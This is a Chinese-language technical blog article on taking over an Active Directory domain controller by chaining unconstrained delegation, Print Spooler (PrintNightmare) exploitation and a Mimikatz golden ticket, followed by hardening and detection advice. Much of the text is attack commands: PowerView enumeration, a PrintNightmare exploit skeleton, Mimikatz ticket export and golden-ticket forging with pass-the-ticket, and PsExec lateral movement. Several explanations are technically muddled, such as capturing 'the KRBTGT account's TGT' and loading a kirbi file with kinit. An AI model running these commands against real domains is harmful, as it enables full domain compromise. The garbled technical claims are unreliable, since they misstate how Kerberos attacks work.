利用非约束委派与Spooler服务突破域控:黄金票据攻击全解析
作者:demo2025.10.12 04:58浏览量:39简介:本文深度解析如何利用非约束性委派与Spooler打印机服务漏洞,结合Kerberos协议弱点制作黄金票据,实现域控制器权限突破。通过技术原理、操作步骤、防御措施三方面展开,提供可复现的攻击路径与安全加固方案。
一、技术背景与攻击原理
1.1 黄金票据的核心机制
黄金票据(Golden Ticket)是Kerberos协议中的一种高级攻击手段,其本质是伪造TGT(Ticket Granting Ticket)票据。Kerberos认证流程中,TGT由KDC(Key Distribution Center)颁发,持有有效TGT的用户可向KDC申请任意服务的ST(Service Ticket)。黄金票据攻击通过直接伪造包含高权限域账户SID(如Domain Admins)的TGT,绕过KDC的验证机制。
伪造TGT的关键在于获取KRBTGT账户的NTLM Hash。KRBTGT是域内默认创建的账户,其Hash用于加密所有TGT票据。攻击者若能获取该Hash,即可通过Mimikatz等工具生成任意域账户的黄金票据。
1.2 非约束性委派的利用价值
非约束性委派(Unconstrained Delegation)是Active Directory中的一种信任设置,允许服务账户接收用户的TGT并将其转发至其他服务。配置非约束性委派的服务账户(如域内某台服务器)在用户首次认证时,会接收用户完整的TGT并存储在内存中。
攻击者可通过以下路径利用:
- 诱导域管理员或高权限用户访问配置了非约束性委派的服务
- 从服务内存中提取用户的TGT(尤其是KRBTGT账户的TGT)
- 使用提取的TGT请求ST或直接伪造黄金票据
1.3 Spooler服务的攻击切入点
Windows Print Spooler服务(Spoolsv.exe)存在多个历史漏洞(如CVE-2021-1675、CVE-2021-34527),允许普通用户通过RPC接口在域控上执行任意操作。结合非约束性委派,攻击流程可优化为:
- 通过Spooler漏洞在域控上创建恶意服务或计划任务
- 利用该服务触发非约束性委派,捕获KRBTGT的TGT
- 基于捕获的TGT生成黄金票据
二、攻击实施步骤详解
2.1 环境准备与信息收集
2.1.1 域环境探测
使用PowerView模块扫描域内配置非约束性委派的服务账户:
Import-Module .\PowerView.ps1Get-NetUser -Unconstrained | Select-Object name,userprincipalnameGet-NetComputer -Unconstrained | Select-Object name,operatingsystem
2.1.2 Spooler服务状态确认
通过RPC调用检查域控是否运行Spooler服务:
$domainController = "DC01.contoso.com"$session = New-PSSession -ComputerName $domainControllerInvoke-Command -Session $session -ScriptBlock {Get-Service -Name Spooler | Select-Object Status,StartType}
2.2 利用Spooler漏洞获取初始权限
以CVE-2021-34527(PrintNightmare)为例,使用Proof-of-Concept代码上传恶意DLL:
# 简化版攻击代码框架import impacket.dcerpc.v5 as dcerpcfrom impacket.dcerpc.v5 import transport, epmdef exploit_spooler(target_ip, dll_path):rpc_transport = transport.TCPTransport(target_ip, 49669)dce = rpc_transport.get_dce_rpc()dce.connect()# 调用Spooler的RpcAddPrinterDriverEx方法# 实际攻击需构造正确的RPC请求包print(f"Uploading DLL {dll_path} to {target_ip}")# ... 漏洞利用具体实现 ...
成功利用后,攻击者可在域控上执行任意命令,此时需快速执行内存数据转储。
2.3 非约束性委派下的TGT捕获
2.3.1 内存数据提取
使用Mimikatz的sekurlsa::tickets命令导出内存中的TGT:
# 在域控上执行Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
2.3.2 黄金票据生成
提取KRBTGT的NTLM Hash后,生成黄金票据:
$krbtgt_hash = "a1b2c3..." # 替换为实际Hash$domain = "contoso.com"$username = "administrator"Invoke-Mimikatz -Command '"kerberos::golden /user:$username /domain:$domain /krbtgt:$krbtgt_hash /sid:S-1-5-21-1234567890-1234567890-1234567890 /ptt"'
2.4 横向移动与权限维持
持有黄金票据后,可通过以下方式访问域控:
# 使用PsExec横向移动$ticket = Get-Content -Path "golden.kirbi"[System.IO.File]::WriteAllBytes("C:\temp\golden.kirbi", [Convert]::FromBase64String($ticket))klist purgekinit -k -t C:\temp\golden.kirbi $username@$domain.\PsExec.exe \\DC01 cmd.exe
三、防御与检测策略
3.1 委派策略加固
- 禁用非约束性委派:通过AD用户和计算机管理控制台,取消”账户是可信的用于委派”选项
- 约束性委派替代:使用资源基于约束委派(RBCD),限制可委派的服务类型
- 最小权限原则:仅对必要服务账户配置委派权限
3.2 Spooler服务防护
- 服务禁用:在非打印服务器上执行
Stop-Service -Name Spooler -Force和Set-Service -Name Spooler -StartupType Disabled - 漏洞修补:及时安装MSFT官方补丁(如KB5005565)
- 网络隔离:通过防火墙规则限制49669/TCP等RPC端口的访问
3.3 黄金票据检测
- 事件日志监控:关注4624(登录事件)中来源为”Kerberos Authentication”且Ticket Encryption Type为0x17的记录
- 异常票据检测:使用Splunk等SIEM工具分析Kerberos票据的生存期(默认10小时)和发行者(应为KDC而非客户端)
- Honeytoken账户:部署诱捕账户,监控其票据使用情况
四、企业安全建议
- 定期审计:每季度执行
Get-ADUser -Filter {UserAccountControl -band 0x80000} | Select-Object Name检查非约束性委派配置 - 零信任架构:实施持续认证机制,减少长期有效票据的使用
- 攻击面管理:使用BloodHound等工具可视化域内委派关系,识别潜在攻击路径
本攻击路径结合了委派配置错误、服务漏洞利用和协议弱点,实际防御需构建多层次防护体系。企业应重点关注高权限账户的保护、服务最小化原则的执行,以及实时安全监控能力的建设。

登录后可评论,请前往 登录 或 注册